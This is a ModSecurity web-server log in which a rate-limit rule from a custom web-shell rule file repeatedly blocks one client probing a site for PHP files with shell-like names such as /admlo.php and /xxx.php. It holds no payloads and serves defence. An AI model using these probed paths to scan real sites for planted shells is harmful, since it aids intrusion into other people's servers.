[Tue Apr 21 21:27:32.666676 2026] [:error] [pid 53978:tid 53990] [client 172.213.216.244:31334] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yw5bi63u.php"] [unique_id "aed7RJ1ivsR4hcOSQbYozAAAAoo"]
[Tue Apr 21 21:27:33.767216 2026] [:error] [pid 53978:tid 53997] [client 172.213.216.244:31339] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yw5bi63u.php"] [unique_id "aed7RZ1ivsR4hcOSQbYozgAAApE"]
[Tue Apr 21 21:27:34.429529 2026] [:error] [pid 54080:tid 54104] [client 172.213.216.244:42095] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "aed7RozEbQHHxtmWbaa-wQAAAtY"]
[Tue Apr 21 21:27:35.971974 2026] [:error] [pid 4777:tid 4795] [client 172.213.216.244:4321] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "aed7R6xXur6bykKyLZSuSAAAAQc"]
[Tue Apr 21 21:27:36.990148 2026] [:error] [pid 53832:tid 53852] [client 172.213.216.244:47419] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "aed7SNzkuxsE_OhM9UJw2QAAAlE"]
[Tue Apr 21 21:27:37.727453 2026] [:error] [pid 4777:tid 4799] [client 172.213.216.244:26777] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "aed7SaxXur6bykKyLZSuSwAAAQs"]
[Tue Apr 21 21:27:38.228526 2026] [:error] [pid 35321:tid 35406] [client 172.213.216.244:47362] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aed7SjeHLhVUuu8cVXy2VwAAAFY"]
[Tue Apr 21 21:27:38.755784 2026] [:error] [pid 4777:tid 4794] [client 172.213.216.244:31390] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aed7SqxXur6bykKyLZSuTQAAAQY"]
[Tue Apr 21 21:27:39.395520 2026] [:error] [pid 4823:tid 4872] [client 172.213.216.244:47371] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aed7S_c8mke3PfHqsxEDBQAAAZM"]
[Tue Apr 21 21:27:40.030958 2026] [:error] [pid 35320:tid 35330] [client 172.213.216.244:47401] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aed7TIJW6fdXWO6agMHRdgAAAAA"]
[Tue Apr 21 21:27:40.519080 2026] [:error] [pid 53731:tid 53748] [client 172.213.216.244:26959] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aed7TF2I9THUR-bRVGxxKwAAAg0"]
[Tue Apr 21 21:27:41.249739 2026] [:error] [pid 53978:tid 54004] [client 172.213.216.244:28254] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aed7TZ1ivsR4hcOSQbYo2gAAApg"]
[Tue Apr 21 21:27:42.031062 2026] [:error] [pid 54080:tid 54089] [client 172.213.216.244:26722] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aed7TozEbQHHxtmWbaa-xAAAAsc"]
[Tue Apr 21 21:27:42.558667 2026] [:error] [pid 54080:tid 54094] [client 172.213.216.244:28264] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aed7TozEbQHHxtmWbaa-yAAAAsw"]
[Tue Apr 21 21:27:43.863007 2026] [:error] [pid 35321:tid 35399] [client 172.213.216.244:28278] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aed7TzeHLhVUuu8cVXy2bAAAAE8"]
[Tue Apr 21 21:27:44.663127 2026] [:error] [pid 53978:tid 53990] [client 172.213.216.244:4334] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aed7UJ1ivsR4hcOSQbYo6gAAAoo"]
[Tue Apr 21 21:27:45.392768 2026] [:error] [pid 54080:tid 54099] [client 172.213.216.244:28273] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aed7UYzEbQHHxtmWbaa-ygAAAtE"]
[Tue Apr 21 21:27:45.895520 2026] [:error] [pid 53978:tid 53993] [client 172.213.216.244:47479] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aed7UZ1ivsR4hcOSQbYo7gAAAo0"]
[Tue Apr 21 21:27:46.601676 2026] [:error] [pid 54080:tid 54088] [client 172.213.216.244:26781] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mk.php"] [unique_id "aed7UozEbQHHxtmWbaa-zgAAAsY"]
[Tue Apr 21 21:27:47.199864 2026] [:error] [pid 4823:tid 4869] [client 172.213.216.244:27239] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mk.php"] [unique_id "aed7U_c8mke3PfHqsxEDCwAAAZA"]
[Tue Apr 21 21:27:48.020821 2026] [:error] [pid 53731:tid 53759] [client 172.213.216.244:26951] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mk.php"] [unique_id "aed7VF2I9THUR-bRVGxxMAAAAhc"]
[Tue Apr 21 21:27:48.822314 2026] [:error] [pid 35320:tid 35351] [client 172.213.216.244:28228] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mk.php"] [unique_id "aed7VIJW6fdXWO6agMHRpQAAABU"]
[Tue Apr 21 21:27:49.693395 2026] [:error] [pid 54080:tid 54095] [client 172.213.216.244:28245] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aed7VYzEbQHHxtmWbaa-2wAAAs0"]
[Tue Apr 21 21:27:50.276190 2026] [:error] [pid 53731:tid 53736] [client 172.213.216.244:26739] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aed7Vl2I9THUR-bRVGxxNAAAAgE"]
[Tue Apr 21 21:27:50.953819 2026] [:error] [pid 35321:tid 35392] [client 172.213.216.244:31387] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aed7VjeHLhVUuu8cVXy2dgAAAEg"]
[Tue Apr 21 21:27:52.180634 2026] [:error] [pid 35321:tid 35386] [client 172.213.216.244:26809] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aed7WDeHLhVUuu8cVXy2ewAAAEI"]
[Tue Apr 21 21:27:54.031601 2026] [:error] [pid 53978:tid 53983] [client 172.213.216.244:28286] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "aed7Wp1ivsR4hcOSQbYo9AAAAoM"]
[Tue Apr 21 21:27:55.619842 2026] [:error] [pid 4777:tid 4803] [client 172.213.216.244:40073] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "aed7W6xXur6bykKyLZSuYgAAAQ8"]
[Tue Apr 21 21:27:56.616388 2026] [:error] [pid 35321:tid 35399] [client 172.213.216.244:40093] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "aed7XDeHLhVUuu8cVXy2jQAAAE8"]
[Tue Apr 21 21:27:57.443952 2026] [:error] [pid 35321:tid 35389] [client 172.213.216.244:31124] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "aed7XTeHLhVUuu8cVXy2lQAAAEU"]
[Tue Apr 21 21:27:58.366626 2026] [:error] [pid 53731:tid 53753] [client 172.213.216.244:34011] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/retu11.PhP7"] [unique_id "aed7Xl2I9THUR-bRVGxxSgAAAhE"]
[Tue Apr 21 21:27:59.266888 2026] [:error] [pid 35320:tid 35352] [client 172.213.216.244:26718] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/retu11.PhP7"] [unique_id "aed7X4JW6fdXWO6agMHRtQAAABY"]
[Tue Apr 21 21:27:59.973778 2026] [:error] [pid 35320:tid 35331] [client 172.213.216.244:28236] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/retu11.PhP7"] [unique_id "aed7X4JW6fdXWO6agMHRtgAAAAE"]
[Tue Apr 21 21:28:00.571903 2026] [:error] [pid 4823:tid 4866] [client 172.213.216.244:28217] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/retu11.PhP7"] [unique_id "aed7YPc8mke3PfHqsxEDEQAAAY0"]
[Tue Apr 21 21:28:01.241659 2026] [:error] [pid 35321:tid 35396] [client 172.213.216.244:28286] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rip.php"] [unique_id "aed7YTeHLhVUuu8cVXy2pQAAAEw"]
[Tue Apr 21 21:28:01.835280 2026] [:error] [pid 53731:tid 53748] [client 172.213.216.244:47446] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rip.php"] [unique_id "aed7YV2I9THUR-bRVGxxVAAAAg0"]
[Tue Apr 21 21:28:02.509094 2026] [:error] [pid 54080:tid 54100] [client 172.213.216.244:28244] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rip.php"] [unique_id "aed7YozEbQHHxtmWbaa-7AAAAtI"]
[Tue Apr 21 21:28:03.205574 2026] [:error] [pid 4823:tid 4874] [client 172.213.216.244:28208] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rip.php"] [unique_id "aed7Y_c8mke3PfHqsxEDGAAAAZU"]
[Tue Apr 21 21:28:03.742466 2026] [:error] [pid 54080:tid 54090] [client 172.213.216.244:55504] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aed7Y4zEbQHHxtmWbaa-8AAAAsg"]
[Tue Apr 21 21:28:04.238834 2026] [:error] [pid 53832:tid 53853] [client 172.213.216.244:27245] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aed7ZNzkuxsE_OhM9UJw4AAAAlI"]
[Tue Apr 21 21:28:04.933847 2026] [:error] [pid 35321:tid 35388] [client 172.213.216.244:26423] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aed7ZDeHLhVUuu8cVXy2rQAAAEQ"]
[Tue Apr 21 21:28:05.627507 2026] [:error] [pid 53978:tid 54000] [client 172.213.216.244:28241] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aed7ZZ1ivsR4hcOSQbYo_wAAApQ"]
[Tue Apr 21 21:28:06.092619 2026] [:error] [pid 35415:tid 35433] [client 172.213.216.244:40112] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoo.php"] [unique_id "aed7ZkiqDinI4_22zzh3RQAAAMY"]
[Tue Apr 21 21:28:06.758292 2026] [:error] [pid 35321:tid 35408] [client 172.213.216.244:47445] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoo.php"] [unique_id "aed7ZjeHLhVUuu8cVXy2sgAAAFg"]
[Tue Apr 21 21:28:07.536544 2026] [:error] [pid 4823:tid 4871] [client 172.213.216.244:28172] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoo.php"] [unique_id "aed7Z_c8mke3PfHqsxEDGwAAAZI"]
[Tue Apr 21 21:28:08.149792 2026] [:error] [pid 35415:tid 35444] [client 172.213.216.244:28210] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoo.php"] [unique_id "aed7aEiqDinI4_22zzh3RwAAANE"]
[Tue Apr 21 21:28:08.776894 2026] [:error] [pid 35321:tid 35401] [client 172.213.216.244:28192] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admlo.php"] [unique_id "aed7aDeHLhVUuu8cVXy2wwAAAFE"]
[Tue Apr 21 21:28:09.313499 2026] [:error] [pid 35320:tid 35350] [client 172.213.216.244:26732] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admlo.php"] [unique_id "aed7aYJW6fdXWO6agMHRyAAAABQ"]
[Tue Apr 21 21:28:09.979244 2026] [:error] [pid 35320:tid 35340] [client 172.213.216.244:30320] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admlo.php"] [unique_id "aed7aYJW6fdXWO6agMHRyQAAAAo"]
[Tue Apr 21 21:28:10.696415 2026] [:error] [pid 35321:tid 35385] [client 172.213.216.244:4306] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admlo.php"] [unique_id "aed7ajeHLhVUuu8cVXy20gAAAEE"]
[Tue Apr 21 21:28:11.398813 2026] [:error] [pid 35321:tid 35390] [client 172.213.216.244:31104] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gcqoa.php"] [unique_id "aed7azeHLhVUuu8cVXy22AAAAEY"]
[Tue Apr 21 21:28:11.974280 2026] [:error] [pid 35320:tid 35330] [client 172.213.216.244:40116] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gcqoa.php"] [unique_id "aed7a4JW6fdXWO6agMHRzQAAAAA"]
[Tue Apr 21 21:28:12.826363 2026] [:error] [pid 35321:tid 35390] [client 172.213.216.244:31361] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gcqoa.php"] [unique_id "aed7bDeHLhVUuu8cVXy25QAAAEY"]
[Tue Apr 21 21:28:14.085573 2026] [:error] [pid 35320:tid 35350] [client 172.213.216.244:30327] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gcqoa.php"] [unique_id "aed7boJW6fdXWO6agMHR1QAAABQ"]
[Tue Apr 21 21:28:15.115537 2026] [:error] [pid 53978:tid 53991] [client 172.213.216.244:30333] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "aed7b51ivsR4hcOSQbYpAwAAAos"]
[Tue Apr 21 21:28:15.697775 2026] [:error] [pid 53832:tid 53851] [client 172.213.216.244:28235] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "aed7b9zkuxsE_OhM9UJw6QAAAlA"]
